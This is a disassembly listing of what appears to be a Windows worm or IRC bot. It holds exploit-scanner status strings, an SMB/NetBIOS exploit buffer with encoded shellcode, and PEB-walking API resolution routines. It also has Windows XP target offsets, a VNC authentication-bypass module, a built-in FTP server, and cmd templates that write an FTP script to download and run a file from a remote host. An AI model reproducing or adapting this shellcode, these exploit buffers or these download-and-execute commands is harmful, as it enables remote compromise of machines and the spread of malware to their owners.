		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------

loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------

loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi

loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------

loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------

loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------

loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------

loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62

loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D

loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl

loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]

loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx

loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h

loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
